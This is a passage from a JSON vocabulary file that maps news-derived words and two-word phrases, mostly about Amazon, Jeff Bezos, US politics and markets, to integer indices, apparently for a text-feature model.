159449,\n  \"window continues\": 159450,\n  \"om\": 159451,\n  \"production primary\": 159452,\n  \"primary candidates\": 159453,\n  \"indiana montana\": 159454,\n  \"firm didi\": 159455,\n  \"identify solutions\": 159456,\n  \"online portal\": 159457,\n  \"growing concerns\": 159458,\n  \"elapsed\": 159459,\n  \"security russia\": 159460,\n  \"investor tour\": 159461,\n  \"workers added\": 159462,\n  \"drove morgan\": 159463,\n  \"1200x411 png\": 159464,\n  \"advance 2018\": 159465,\n  \"declarethe\": 159466,\n  \"icymi knew\": 159467,\n  \"pays federal\": 159468,\n  \"amazon warehous\": 159469,\n  \"ny office\": 159470,\n  \"depict news\": 159471,\n  \"package amazon\": 159472,\n  \"investigation continues\": 159473,\n  \"way region\": 159474,\n  \"costumes self\": 159475,\n  \"james jay\": 159476,\n  \"finish\": 159477,\n  \"zuckerberg declined\": 159478,\n  \"violence france\": 159479,\n  \"scalia son\": 159480,\n  \"f4 m4\": 159481,\n  \"world leaders\": 159482,\n  \"congressmen\": 159483,\n  \"company leaders\": 159484,\n  \"deny malicious\": 159485,\n  \"porniness\": 159486,\n  \"platform really\": 159487,\n  \"colourful\": 159488,\n  \"elastic\": 159489,\n  \"implicate amazon\": 159490,\n  \"nervousness gripped\": 159491,\n  \"micron technology\": 159492,\n  \"world implications\": 159493,\n  \"antitrust enforcers\": 159494,\n  \"flames higher\": 159495,\n  \"sketch joking\": 159496,\n  \"justifiable\": 159497,\n  \"unspoken\": 159498,\n  \"world annihilation\": 159499,\n  \"tom ripley\": 159500,\n  \"young guns\": 159501,\n  \"billion just\": 159502,\n  \"services earlier\": 159503,\n  \"transformative energy\": 159504,\n  \"lira selloff\": 159505,\n  \"don manage\": 159506,\n  \"clinic\": 159507,\n  \"considering targeting\": 159508,\n  \"sharpton national\": 159509,\n  \"mccabe andrew\": 159510,\n  \"partieswant\": 159511,\n  \"lose house\": 159512,\n  \"send people\": 159513,\n  \"conducted knowledge\": 159514,\n  \"prices signed\": 159515,\n  \"fed hand\": 159516,\n  \"huge company\": 159517,\n  \"playing modern\": 159518,\n  \"justices did\": 159519,\n  \"dominance saunders\": 159520,\n  \"distribution income\": 159521,\n  \"advertising campaigns\": 159522,\n  \"2011 egypt\": 159523,\n  \"rear\": 159524,\n  \"enter new\": 159525,\n  \"know lane\": 159526,\n  \"sources file\": 159527,\n  \"flat people\": 159528,\n  \"big projects\": 159529,\n  \"huge critique\": 159530,\n  \"calledhq2headquartersand\": 159531,\n  \"policy agenda\": 159532,\n  \"kurtz says\": 159533,\n  \"nbcsn podcast\": 159534,\n  \"indian prime\": 159535,\n  \"help attendees\": 159536,\n  \"earnings growth\": 159537,\n  \"books advertising\": 159538,\n  \"foiling\": 159539,\n  \"exposs\": 159540,\n  \"hired away\": 159541,\n  \"hit revival\": 159542,\n  \"transatlantic\": 159543,\n  \"hasn worked\": 159544,\n  \"freedom repeatedly\": 159545,\n  \"beauty read\": 159546,\n  \"article alleging\": 159547,\n  \"algorithmically promote\": 159548,\n  \"post service\": 159549,\n  \"kondabolu warn\": 159550,\n  \"expectations stock\": 159551,\n  \"mayoral\": 159552,\n  \"curry stopped\": 159553,\n  \"habila new\": 159554,\n  \"zellnor\": 159555,\n  \"crimes according\": 159556,\n  \"bring magic\": 159557,\n  \"thanks nra\": 159558,\n  \"tripe\": 159559,\n  \"needs company\": 159560,\n  \"agreement clearly\": 159561,\n  \"sourcedavid ryder\": 159562,\n  \"interview saying\": 159563,\n  \"table hard\": 159564,\n  \"vetted category\": 159565,\n  \"sorely\": 159566,\n  \"lawful american\": 159567,\n  \"general believe\": 159568,\n  \"safe havens\": 159569,\n  \"conversation\": 159570,\n  \"reporting source\": 159571,\n  \"significant way\": 159572,\n  \"foreign autos\": 159573,\n  \"budget director\": 159574,\n  \"pagourtzis\": 159575,\n  \"spielberg\": 159576,\n  \"weather impacted\": 159577,\n  \"politicians opposed\": 159578,\n  \"reels\": 159579,\n  \"gop convention\": 159580,\n  \"passes tariff\": 159581,\n  \"rubiginosa tree\": 159582,\n  \"lme daily\": 159583,\n  \"tyrants\": 159584,\n  \"away signs\": 159585,\n  \"photo janet\": 159586,\n  \"amazon facilities\": 159587,\n  \"locations perfumania\": 159588,\n  \"underpaying women\": 159589,\n  \"trump adviser\": 159590,\n  \"tax overhaul\": 159591,\n  \"developers feel\": 159592,\n  \"work\": 159593,\n  \"sex talk\": 159594,\n  \"bezos wife\": 159595,\n  \"robe\": 159596,\n  \"left hand\": 159597,\n  \"itty\": 159598,\n  \"exclusive relationship\": 159599,\n  \"emboldened\": 159600,\n  \"mikepence comments\": 159601,\n  \"kelly west\": 159602,\n  \"replace theresa\": 159603,\n  \"major privacy\": 159604,\n  \"administration despite\": 159605,\n  \"bush law\": 159606,\n  \"diesel pollution\": 159607,\n  \"monoliths shaped\": 159608,\n  \"civil liberties\": 159609,\n  \"cost 800\": 159610,\n  \"finance professor\": 159611,\n  \"steep 600\": 159612,\n  \"diligent investors\": 159613,\n  \"deserves place\": 159614,\n  \"slippery politics\": 159615,\n  \"internal documents\": 159616,\n  \"companies raising\": 159617,\n  \"schultz democrat\": 159618,\n  \"banker head\": 159619,\n  \"department hired\": 159620,\n  \"costs trump\": 159621,\n  \"past summer\": 159622,\n  \"cameras dotted\": 159623,\n  \"powerful women\": 159624,\n  \"exams\": 159625,\n  \"southwest plus\": 159626,\n  \"kenzie\": 159627,\n  \"sonny\": 159628,\n  \"lucifer\": 159629,\n  \"family mackenzie\": 159630,\n  \"today loves\": 159631,\n  \"ranking official\": 159632,\n  \"playing tennis\": 159633,\n  \"2018 share\": 159634,\n  \"year overall\": 159635,\n  \"mar\": 159636,\n  \"paris cac\": 159637,\n  \"freeport mcmoran\": 159638,\n  \"laptop later\": 159639,\n  \"spurred flurry\": 159640,\n  \"making faux\": 159641,\n  \"ibtimes\": 159642,\n  \"extraction industries\": 159643,\n  \"congressional approval\": 159644,\n  \"stock yielding\": 159645,\n  \"powerful shopping\": 159646,\n  \"disclosure instagram\": 159647,\n  \"passed trillion\": 159648,\n  \"decidedly negative\": 159649,\n  \"punk bank\": 159650,\n  \"trump disaster\": 159651,\n  \"kmart stores\": 159652,\n  \"groups backed\": 159653,\n  \"shopping center\": 159654,\n  \"retired neurosurgeon\": 159655,\n  \"capturing media\": 159656,\n  \"business original\": 159657,\n  \"happens trump\": 159658,\n  \"thanking amazon\": 159659,\n  \"pentagon inspector\": 159660,\n  \"ellis withering\": 159661,\n  \"chicago bulls\": 159662,\n  \"various taxes\": 159663,\n  \"mai\": 159664,\n  \"time colbert\": 159665,\n  \"carell uses\": 159666,\n  \"princes\": 159667,\n  \"cortez bumbles\": 159668,\n  \"tank khan\": 159669,\n  \"hip\": 159670,\n  \"grandinetti did\": 159671,\n  \"legal power\": 159672,\n  \"facility escapes\": 159673,\n  \"finger points\": 159674,\n  \"closed facebook\": 159675,\n  \"floating docks\": 159676,\n  \"court rulings\": 159677,\n  \"employees speak\": 159678,\n  \"careful\": 159679,\n  \"infamously venerated\": 159680,\n  \"really bother\": 159681,\n  \"sue feminist\": 159682,\n  \"law property\": 159683,\n  \"checkout technology\": 159684,\n  \"bugbear\": 159685,\n  \"tyler cowen\": 159686,\n  \"sex crime\": 159687,\n  \"cancer survival\": 159688,\n  \"circuiting\": 159689,\n  \"taxable tangible\": 159690,\n  \"paul trussell\": 159691,\n  \"loss carryforwards\": 159692,\n  \"various divisions\": 159693,\n  \"discount coupon\": 159694,\n  \"service alabama\": 159695,\n  \"whitefish real\": 159696,\n  \"transportation warehousing\": 159697,\n  \"information required\": 159698,\n  \"herera charge\": 159699,\n  \"support having\": 159700,\n  \"americans transition\": 159701,\n  \"prominently listed\": 159702,\n  \"physical space\": 159703,\n  \"russia blames\": 159704,\n  \"watermelon\": 159705,\n  \"ask regional\": 159706,\n  \"sales growth\": 159707,\n  \"informational advantages\": 159708,\n  \"coppola nbcuniversal\": 159709,\n  \"cruise envious\": 159710,\n  \"crosby\": 159711,\n  \"including illegal\": 159712,\n  \"biggest foe\": 159713,\n  \"bring peace\": 159714,\n  \"enormous\": 159715,\n  \"partly caused\": 159716,\n  \"multiplicity\": 159717,\n  \"tax cut\": 159718,\n  \"chief ethics\": 159719,\n  \"kovacic\": 159720,\n  \"greater res\": 159721,\n  \"stoltenberg reuters\": 159722,\n  \"pies cathy\": 159723,\n  \"openly talking\": 159724,\n  \"wcmh\": 159725,\n  \"amazons facial\": 159726,\n  \"tangled\": 159727,\n  \"telling prosecutors\": 159728,\n  \"headlee\": 159729,\n  \"hasn exactly\": 159730,\n  \"privatize large\": 159731,\n  \"hosting secdef\": 159732,\n  \"largo\": 159733,\n  \"expediating sic\": 159734,\n  \"line sales\": 159735,\n  \"terrorism following\": 159736,\n  \"coulter tom\": 159737,\n  \"japan nikkei\": 159738,\n  \"crossbody pack\": 159739,\n  \"photos ap\": 159740,\n  \"bigquestion phil\": 159741,\n  \"carrying nbc\": 159742,\n  \"tenneco\": 159743,\n  \"natural cures\": 159744,\n  \"jewell check\": 159745,\n  \"contest culminated\": 159746,\n  \"watch pelosi\": 159747,\n  \"party ranks\": 159748,\n  \"stealing\": 159749,\n  \"labor secretary\": 159750,\n  \"government won\": 159751,\n  \"monopolies competition\": 159752,\n  \"city thailand\": 159753,\n  \"known today\": 159754,\n  \"guest michael\": 159755,\n  \"572 minutes\": 159756,\n  \"lot ofhis\": 159757,\n  \"ribbon panel\": 159758,\n  \"ages old\": 159759,\n  \"probably resist\": 159760,\n  \"lamagna\": 159761,\n  \"foods citing\": 159762,\n  \"service contrasts\": 159763,\n  \"specific claims\": 159764,\n  \"2018 fun\": 159765,\n  \"story lineup\": 159766,\n  \"millionaire protested\": 159767,\n  \"abuse disorders\": 159768,\n  \"modern art\": 159769,\n  \"149 george\": 159770,\n  \"fresh equity\": 159771,\n  \"story jillian\": 159772,\n  \"employment according\": 159773,\n  \"cnn appearance\": 159774,\n  \"kids amazon\": 159775,\n  \"provisionally\": 159776,\n  \"qualcomm amazon\": 159777,\n  \"suffering measles\": 159778,\n  \"insert sheet\": 159779,\n  \"instagram feed\": 159780,\n  \"interview stephanopoulos\": 159781,\n  \"announcement won\": 159782,\n  \"pepsico forecasts\": 159783,\n  \"61st street\": 159784,\n  \"new reports\": 159785,\n  \"national talk\": 159786,\n  \"stranger charles\": 159787,\n  \"graduate emil\": 159788,\n  \"better amazon\": 159789,\n  \"client invites\": 159790,\n  \"square google\": 159791,\n  \"elected democratic\": 159792,\n  \"close aides\": 159793,\n  \"earns amazon\": 159794,\n  \"senwarren\": 159795,\n  \"publicly condemned\": 159796,\n  \"man president\": 159797,\n  \"state fine\": 159798,\n  \"adamcbest\": 159799,\n  \"1830s\": 159800,\n  \"multiple law\": 159801,\n  \"national politics\": 159802,\n  \"saved copy\": 159803,\n  \"programming interfaces\": 159804,\n  \"5bn\": 159805,\n  \"cameroon\": 159806,\n  \"agreement included\": 159807,\n  \"delegitimize coverage\": 159808,\n  \"launching amazon\": 159809,\n  \"water game\": 159810,\n  \"chancellor phillip\": 159811,\n  \"meets\": 159812,\n  \"acquire video\": 159813,\n  \"giants sens\": 159814,\n  \"rollback\": 159815,\n  \"spectrum bernie\": 159816,\n  \"convenient punching\": 159817,\n  \"nasdaq amzn\": 159818,\n  \"ruffled\": 159819,\n  \"broke news\": 159820,\n  \"overland\": 159821,\n  \"wasby primarily\": 159822,\n  \"making great\": 159823,\n  \"sovereigns lord\": 159824,\n  \"survivor emma\": 159825,\n  \"\\u0430is \\u0430in\\u0430appearance\": 159826,\n  \"hotel transylvania\": 159827,\n  \"perceive california\": 159828,\n  \"deduction cap\": 159829,\n  \"catherine\": 159830,\n  \"liberties\": 159831,\n  \"medication management\": 159832,\n  \"prairie\": 159833,\n  \"reported adjusted\": 159834,\n  \"lotter trump\": 159835,\n  \"films\": 159836,\n  \"gold medal\": 159837,\n  \"active users\": 159838,\n  \"money stance\": 159839,\n  \"pass volunteers\": 159840,\n  \"available sent\": 159841,\n  \"valor awards\": 159842,\n  \"yakitori\": 159843,\n  \"protect small\": 159844,\n  \"dishonest globalist\": 159845,\n  \"yorkers haven\": 159846,\n  \"investing jeff\": 159847,\n  \"services department\": 159848,\n  \"creating 850\": 159849,\n  \"books online\": 159850,\n  \"bezos earn\": 159851,\n  \"fueled allegations\": 159852,\n  \"article submit\": 159853,\n  \"annual ceiling\": 159854,\n  \"uncertainties stemming\": 159855,\n  \"wrote abramson\": 159856,\n  \"blizzard\": 159857,\n  \"capitalist enterprises\": 159858,\n  \"transportation services\": 159859,\n  \"new good\": 159860,\n  \"recent numbers\": 159861,\n  \"alex beard\": 159862,\n  \"senator ted\": 159863,\n  \"vaccinate\": 159864,\n  \"asian nation\": 159865,\n  \"213\": 159866,\n  \"international operations\": 159867,\n  \"perfumes\": 159868,\n  \"trump betrayed\": 159869,\n  \"story tropical\": 159870,\n  \"deputy general\": 159871,\n  \"text register\": 159872,\n  \"ad buys\": 159873,\n  \"statistic amazon\": 159874,\n  \"metapack supports\": 159875,\n  \"ban glass\": 159876,\n  \"president tension\": 159877,\n  \"sesame street\": 159878,\n  \"congressional candidate\": 159879,\n  \"advsrs ny\": 159880,\n  \"amazon publishing\": 159881,\n  \"post cnn\": 159882,\n  \"gothic horror\": 159883,\n  \"armageddon\": 159884,\n  \"open public\": 159885,\n  \"possibly linked\": 159886,\n  \"edition bottles\": 159887,\n  \"nashville tennessee\": 159888,\n  \"roebuck\": 159889,\n  \"entry drafts\": 159890,\n  \"albany amazon\": 159891,\n  \"shares plummeted\": 159892,\n  \"city largest\": 159893,\n  \"department thousands\": 159894,\n  \"best actress\": 159895,\n  \"midterms kevin\": 159896,\n  \"industry analyst\": 159897,\n  \"1041310008623943680 random\": 159898,\n  \"reserve chairman\": 159899,\n  \"positions pinterest\": 159900,\n  \"flagship products\": 159901,\n  \"australian town\": 159902,\n  \"include special\": 159903,\n  \"airport terminal\": 159904,\n  \"bremberg prior\": 159905,\n  \"administration lighter\": 159906,\n  \"chairman republican\": 159907,\n  \"cargo photo\": 159908,\n  \"stock tumble\": 159909,\n  \"resources rule\": 159910,\n  \"control treaty\": 159911,\n  \"took effect\": 159912,\n  \"great news\": 159913,\n  \"optimal strategy\": 159914,\n  \"amid accusations\": 159915,\n  \"covering technology\": 159916,\n  \"bull case\": 159917,\n  \"pentagon released\": 159918,\n  \"evacuated\": 159919,\n  \"story visa\": 159920,\n  \"head rob\": 159921,\n  \"aphrodisiacs\": 159922,\n  \"report hammered\": 159923,\n  \"multilateral\": 159924,\n  \"800 according\": 159925,\n  \"vindictive temperament\": 159926,\n  \"technica\": 159927,\n  \"afghan government\": 159928,\n  \"daring tagger\": 159929,\n  \"amazon hasn\": 159930,\n  \"campaigns\": 159931,\n  \"everybody welcome\": 159932,\n  \"report rahel\": 159933,\n  \"called fang\": 159934,\n  \"billion reasons\": 159935,\n  \"phone companies\": 159936,\n  \"english chinese\": 159937,\n  \"billion postmates\": 159938,\n  \"amazon need\": 159939,\n  \"course helped\": 159940,\n  \"birth edited\": 159941,\n  \"boycottnetflix netflix\": 159942,\n  \"channel island\": 159943,\n  \"businesses owned\": 159944,\n  \"hospital gecko\": 159945,\n  \"phishing hosting\": 159946,\n  \"lucrative market\": 159947,\n  \"pollack sethmpk\": 159948,\n  \"subsequently criticized\": 159949,\n  \"eventual\": 159950,\n  \"coleman head\": 159951,\n  \"economies communities\": 159952,\n  \"stop payments\": 159953,\n  \"jon tester\": 159954,\n  \"videocmsuri video\": 159955,\n  \"increased opportunities\": 159956,\n  \"dr elon\": 159957,\n  \"adversary\": 159958,\n  \"fears continued\": 159959,\n  \"ontario special\": 159960,\n  \"belongings\": 159961,\n  \"loud chants\": 159962,\n  \"million judgment\": 159963,\n  \"diminish according\": 159964,\n  \"jordi moll\\u00e0\": 159965,\n  \"package business\": 159966,\n  \"424\": 159967,\n  \"commoditized\": 159968,\n  \"dwight eisenhower\": 159969,\n  \"probably right\": 159970,\n  \"space hmmm\": 159971,\n  \"curious\": 159972,\n  \"california prosecutors\": 159973,\n  \"taste local\": 159974,\n  \"flowery titles\": 159975,\n  \"contemporary satanism\": 159976,\n  \"iran sanction\": 159977,\n  \"swallowed\": 159978,\n  \"2015 moody\": 159979,\n  \"slowed believe\": 159980,\n  \"stories editorial\": 159981,\n  \"regularly rails\": 159982,\n  \"trump immigration\": 159983,\n  \"saying apparently\": 159984,\n  \"nbc sports\": 159985,\n  \"wine heats\": 159986,\n  \"routes include\": 159987,\n  \"just vaccines\": 159988,\n  \"wife zing\": 159989,\n  \"sam shields\": 159990,\n  \"fact fiction\": 159991,\n  \"giants censoring\": 159992,\n  \"mobile fintech\": 159993,\n  \"increasingly drying\": 159994,\n  \"discussed recruiting\": 159995,\n  \"000 \\u0142115\": 159996,\n  \"monthly traffic\": 159997,\n  \"lean\": 159998,\n  \"suu kyi\": 159999,\n  \"outright according\": 160000,\n  \"misunderstood fb\": 160001,\n  \"620 workers\": 160002,\n  \"post photographs\": 160003,\n  \"brand citing\": 160004,\n  \"commerce purchases\": 160005,\n  \"magazine says\": 160006,\n  \"say locating\": 160007,\n  \"age vision\": 160008,\n  \"little easier\": 160009,\n  \"\\u0627\\u0644\\u0639\\u0646\\u0640\\u0640\\u0640\\u0640\\u0648\\u062f\": 160010,\n  \"rudy cheese\": 160011,\n  \"admiral\": 160012,\n  \"fellow technologists\": 160013,\n  \"year hottest\": 160014,\n  \"peers ebay\": 160015,\n  \"account violated\": 160016,\n  \"famed\": 160017,\n  \"200bn\": 160018,\n  \"ly 2s9tl9g\": 160019,\n  \"whoknows\": 160020,\n  \"kilometer section\": 160021,\n  \"ktla\": 160022,\n  \"delivery days\": 160023,\n  \"reuters alpine\": 160024,\n  \"program colloquially\": 160025,\n  \"natascha\": 160026,\n  \"quick buck\": 160027,\n  \"crusader khan\": 160028,\n  \"various federal\": 160029,\n  \"isn good\": 160030,\n  \"stock post\": 160031,\n  \"alphaone invest\": 160032,\n  \"parroting\": 160033,\n  \"private enterprise\": 160034,\n  \"ladies apparel\": 160035,\n  \"walmart sears\": 160036,\n  \"deliver hot\": 160037,\n  \"adversaries\": 160038,\n  \"rate policies\": 160039,\n  \"customer feedback\": 160040,\n  \"mention bezos\": 160041,\n  \"mail customers\": 160042,\n  \"ice voices\": 160043,\n  \"plaudits\": 160044,\n  \"images amazon\": 160045,\n  \"looms buy\": 160046,\n  \"conduct personal\": 160047,\n  \"ruotola\": 160048,\n  \"ruben diaz\": 160049,\n  \"work schedule\": 160050,\n  \"levy adjunct\": 160051,\n  \"trump american\": 160052,\n  \"launched sci\": 160053,\n  \"drawn\": 160054,\n  \"intel critics\": 160055,\n  \"hit list\": 160056,\n  \"question jack\": 160057,\n  \"aws separation\": 160058,\n  \"competitors analysts\": 160059,\n  \"shaunmckenzie86\": 160060,\n  \"immigrants racist\": 160061,\n  \"research internet\": 160062,\n  \"spavor keeping\": 160063,\n  \"dropped segments\": 160064,\n  \"raj singh\": 160065,\n  \"hurt disappointment\": 160066,\n  \"crisis response\": 160067,\n  \"adeyemi check\": 160068,\n  \"company sponsored\": 160069,\n  \"zones amazon\": 160070,\n  \"trends content\": 160071,\n  \"sole provider\": 160072,\n  \"includes look\": 160073,\n  \"presidents lula\": 160074,\n  \"allegedly resists\": 160075,\n  \"amazon us3\": 160076,\n  \"razor\": 160077,\n  \"says treasury\": 160078,\n  \"apple apple\": 160079,\n  \"signatories include\": 160080,\n  \"general membership\": 160081,\n  \"earnings growing\": 160082,\n  \"led becker\": 160083,\n  \"previously anticipated\": 160084,\n  \"mortar retailer\": 160085,\n  \"article protestors\": 160086,\n  \"programs instead\": 160087,\n  \"live fubotv\": 160088,\n  \"paper claimed\": 160089,\n  \"mass regulatory\": 160090,\n  \"locations amazon\": 160091,\n  \"regard finally\": 160092,\n  \"cabernet sauvignon\": 160093,\n  \"blue light\": 160094,\n  \"madame\": 160095,\n  \"group american\": 160096,\n  \"e4\": 160097,\n  \"send shivers\": 160098,\n  \"fares beginning\": 160099,\n  \"silver platter\": 160100,\n  \"losses today\": 160101,\n  \"added representative\": 160102,\n  \"mid single\": 160103,\n  \"technology designed\": 160104,\n  \"advisers illegitimate\": 160105,\n  \"dangerous cocktail\": 160106,\n  \"held data\": 160107,\n  \"google reuters\": 160108,\n  \"fiction post\": 160109,\n  \"thwarted\": 160110,\n  \"margaret harding\": 160111,\n  \"authorities question\": 160112,\n  \"deputy james\": 160113,\n  \"invitation sanders\": 160114,\n  \"simpler ordering\": 160115,\n  \"correspondent china\": 160116,\n  \"guillotine\": 160117,\n  \"survival group\": 160118,\n  \"terrible thing\": 160119,\n  \"bayer discloses\": 160120,\n  \"central 3p\": 160121,\n  \"action drama\": 160122,\n  \"new frontier\": 160123,\n  \"halliburton shares\": 160124,\n  \"idyllic\": 160125,\n  \"fact politically\": 160126,\n  \"employee resignations\": 160127,\n  \"gonzalez rips\": 160128,\n  \"market reopened\": 160129,\n  \"donations going\": 160130,\n  \"vmware india\": 160131,\n  \"mpf says\": 160132,\n  \"google type\": 160133,\n  \"senate lot\": 160134,\n  \"additions especially\": 160135,\n  \"sessions accompanied\": 160136,\n  \"hulu live\": 160137,\n  \"speed press\": 160138,\n  \"\\u014263 4billion\": 160139,\n  \"start talking\": 160140,\n  \"forest received\": 160141,\n  \"sued vernon\": 160142,\n  \"representative form\": 160143,\n  \"company runaway\": 160144,\n  \"ago stating\": 160145,\n  \"founder fred\": 160146,\n  \"iran nuclear\": 160147,\n  \"dicriscio\": 160148,\n  \"pillpack walgreens\": 160149,\n  \"bankshares\": 160150,\n  \"professed\": 160151,\n  \"bezos everybody\": 160152,\n  \"behaving\": 160153,\n  \"sex crazed\": 160154,\n  \"va listing\": 160155,\n  \"nasdaq make\": 160156,\n  \"robots\": 160157,\n  \"trends consumer\": 160158,\n  \"ami ran\": 160159,\n  \"transgender people\": 160160,\n  \"wespac\": 160161,\n  \"bezos euro\": 160162,\n  \"hdr armed\": 160163,\n  \"050 581\": 160164,\n  \"mexican smuggling\": 160165,\n  \"pecker responds\": 160166,\n  \"sales city\": 160167,\n  \"agreement voluntarily\": 160168,\n  \"limbaugh\": 160169,\n  \"water natural\": 160170,\n  \"spring aftershocks\": 160171,\n  \"centralization payment\": 160172,\n  \"score goal\": 160173,\n  \"wasn expected\": 160174,\n  \"deep roots\": 160175,\n  \"limiting indigenous\": 160176,\n  \"offset potential\": 160177,\n  \"day shutdown\": 160178,\n  \"buybox\": 160179,\n  \"new delhi\": 160180,\n  \"cabal helmed\": 160181,\n  \"delayed plans\": 160182,\n  \"qvc\": 160183,\n  \"keanu\": 160184,\n  \"users literally\": 160185,\n  \"install\": 160186,\n  \"projects\": 160187,\n  \"overseeing worldwide\": 160188,\n  \"potential tax\": 160189,\n  \"founder unmasked\": 160190,\n  \"development homecoming\": 160191,\n  \"talented democratic\": 160192,\n  \"misidentified\": 160193,\n  \"amazon initial\": 160194,\n  \"alatriste new\": 160195,\n  \"a1\": 160196,\n  \"ipec provides\": 160197,\n  \"great fit\": 160198,\n  \"208\": 160199,\n  \"health content\": 160200,\n  \"company tyger\": 160201,\n  \"law makes\": 160202,\n  \"site beijing\": 160203,\n  \"story husni\": 160204,\n  \"survivors president\": 160205,\n  \"sitcom minus\": 160206,\n  \"owner charges\": 160207,\n  \"trump admitted\": 160208,\n  \"teixeira\": 160209,\n  \"company distaste\": 160210,\n  \"boost profitability\": 160211,\n  \"lame duck\": 160212,\n  \"network cnbc\": 160213,\n  \"retch inducing\": 160214,\n  \"open store\": 160215,\n  \"amazon postage\": 160216,\n  \"particular chief\": 160217,\n  \"wrongdoing saying\": 160218,\n  \"star lover\": 160219,\n  \"print journalism\": 160220,\n  \"transportation jobs\": 160221,\n  \"variety including\": 160222,\n  \"process sanders\": 160223,\n  \"unsettled just\": 160224,\n  \"recent afternoon\": 160225,\n  \"employee benefits\": 160226,\n  \"group lower\": 160227,\n  \"midterms 2018\": 160228,\n  \"advertising space\": 160229,\n  \"stated publicly\": 160230,\n  \"midst\": 160231,\n  \"tapes exist\": 160232,\n  \"summers david\": 160233,\n  \"suspends alex\": 160234,\n  \"chain hudson\": 160235,\n  \"rare person\": 160236,\n  \"lost nearly\": 160237,\n  \"year forbes\": 160238,\n  \"firm coverage\": 160239,\n  \"unsealed documents\": 160240,\n  \"helsinki presidential\": 160241,\n  \"naming\": 160242,\n  \"irresponsible brian\": 160243,\n  \"monsivais ap\": 160244,\n  \"electoral campaign\": 160245,\n  \"fyi\": 160246,\n  \"company prices\": 160247,\n  \"billionaire chairman\": 160248,\n  \"clients respect\": 160249,\n  \"including mark\": 160250,\n  \"finishing\": 160251,\n  \"president obama\": 160252,\n  \"regularly describing\": 160253,\n  \"test site\": 160254,\n  \"launch lights\": 160255,\n  \"added rsa\": 160256,\n  \"asian stocks\": 160257,\n  \"ub\": 160258,\n  \"playingout\": 160259,\n  \"vindictive assault\": 160260,\n  \"amnesty plan\": 160261,\n  \"tiny bit\": 160262,\n  \"stanley policy\": 160263,\n  \"widening trade\": 160264,\n  \"boss wrote\": 160265,\n  \"primary function\": 160266,\n  \"avoid responding\": 160267,\n  \"west decided\": 160268,\n  \"huge windfall\": 160269,\n  \"sandra bland\": 160270,\n  \"civil tax\": 160271,\n  \"press purchase\": 160272,\n  \"advocates argue\": 160273,\n  \"confirms nyc\": 160274,\n  \"mcdougal did\": 160275,\n  \"resolution asks\": 160276,\n  \"publicly known\": 160277,\n  \"offer prime\": 160278,\n  \"powers timeline\": 160279,\n  \"announcement contending\": 160280,\n  \"straight sensanders\": 160281,\n  \"hours south\": 160282,\n  \"knopf turns\": 160283,\n  \"marriage scandal\": 160284,\n  \"bipartisan federal\": 160285,\n  \"amazon turns\": 160286,\n  \"asks passers\": 160287,\n  \"limos\": 160288,\n  \"lrcx\": 160289,\n  \"oscars sources\": 160290,\n  \"richmond virginia\": 160291,\n  \"international students\": 160292,\n  \"wonder did\": 160293,\n  \"divorce announcement\": 160294,\n  \"news story\": 160295,\n  \"letter executive\": 160296,\n  \"based conservatism\": 160297,\n  \"publishes list\": 160298,\n  \"aid corp\": 160299,\n  \"majority whip\": 160300,\n  \"papadopoulos\": 160301,\n  \"couple conversation\": 160302,\n  \"director amazon\": 160303,\n  \"evaluate tech\": 160304,\n  \"firm rosettistarr\": 160305,\n  \"corporate bond\": 160306,\n  \"story mnuchin\": 160307,\n  \"pg\": 160308,\n  \"hughes learning\": 160309,\n  \"bayn\": 160310,\n  \"challenges ba\": 160311,\n  \"ebay fell\": 160312,\n  \"budget deadline\": 160313,\n  \"bezos wealth\": 160314,\n  \"hardly\": 160315,\n  \"trump revealed\": 160316,\n  \"tax major\": 160317,\n  \"life example\": 160318,\n  \"getownpropertydescriptor\": 160319,\n  \"cut rate\": 160320,\n  \"twitter looks\": 160321,\n  \"ak\": 160322,\n  \"close links\": 160323,\n  \"scenes look\": 160324,\n  \"card company\": 160325,\n  \"day photo\": 160326,\n  \"avowed\": 160327,\n  \"waves overconfidence\": 160328,\n  \"affairs john\": 160329,\n  \"does provide\": 160330,\n  \"water securing\": 160331,\n  \"hour posted\": 160332,\n  \"forget amazon\": 160333,\n  \"reasonable considering\": 160334,\n  \"require qualitative\": 160335,\n  \"ceo jennifer\": 160336,\n  \"index check\": 160337,\n  \"tech anti\": 160338,\n  \"400 shares\": 160339,\n  \"ridesharing business\": 160340,\n  \"hadn turned\": 160341,\n  \"panicked\": 160342,\n  \"cathy rojas\": 160343,\n  \"spokesperson aaron\": 160344,\n  \"5438\": 160345,\n  \"frankly brian\": 160346,\n  \"prince mohammad\": 160347,\n  \"tech situations\": 160348,\n  \"dynamic commerce\": 160349,\n  \"ref_src\": 160350,\n  \"movement mst\": 160351,\n  \"appearance china\": 160352,\n  \"big bullhorns\": 160353,\n  \"decorative monarch\": 160354,\n  \"inbound foreign\": 160355,\n  \"ethnic origin\": 160356,\n  \"media house\": 160357,\n  \"reform capitalism\": 160358,\n  \"voicing concerns\": 160359,\n  \"new newspaper\": 160360,\n  \"shooting connecticut\": 160361,\n  \"confront confluence\": 160362,\n  \"spinal\": 160363,\n  \"pursue new\": 160364,\n  \"pursued story\": 160365,\n  \"committee\": 160366,\n  \"power matters\": 160367,\n  \"enemies ignoring\": 160368,\n  \"run services\": 160369,\n  \"monopolists lose\": 160370,\n  \"political football\": 160371,\n  \"barria reuters\": 160372,\n  \"zappos flickr\": 160373,\n  \"banks affected\": 160374,\n  \"kayak\": 160375,\n  \"fined google\": 160376,\n  \"fame star\": 160377,\n  \"nscola politico\": 160378,\n  \"buzzfeed aleksej\": 160379,\n  \"says package\": 160380,\n  \"vote ultimately\": 160381,\n  \"block deal\": 160382,\n  \"criticisms beginning\": 160383,\n  \"donnell variety\": 160384,\n  \"jessie bur\": 160385,\n  \"development jackpot\": 160386,\n  \"right matches\": 160387,\n  \"retake\": 160388,\n  \"acres charred\": 160389,\n  \"language shows\": 160390,\n  \"c8\": 160391,\n  \"code cloud\": 160392,\n  \"annual spring\": 160393,\n  \"new vehicle\": 160394,\n  \"code ccn\": 160395,\n  \"larger million\": 160396,\n  \"benefited directly\": 160397,\n  \"hosted code\": 160398,\n  \"twitter nathanbomey\": 160399,\n  \"images leaked\": 160400,\n  \"albany cuomo\": 160401,\n  \"flat surcharge\": 160402,\n  \"family paid\": 160403,\n  \"warehouse pickers\": 160404,\n  \"hanson mcclain\": 160405,\n  \"chung\": 160406,\n  \"users abroad\": 160407,\n  \"vegas exceed\": 160408,\n  \"assaulting actress\": 160409,\n  \"critical infrastructure\": 160410,\n  \"flaw\": 160411,\n  \"improperly\": 160412,\n  \"icon posted\": 160413,\n  \"company citi\": 160414,\n  \"biggest business\": 160415,\n  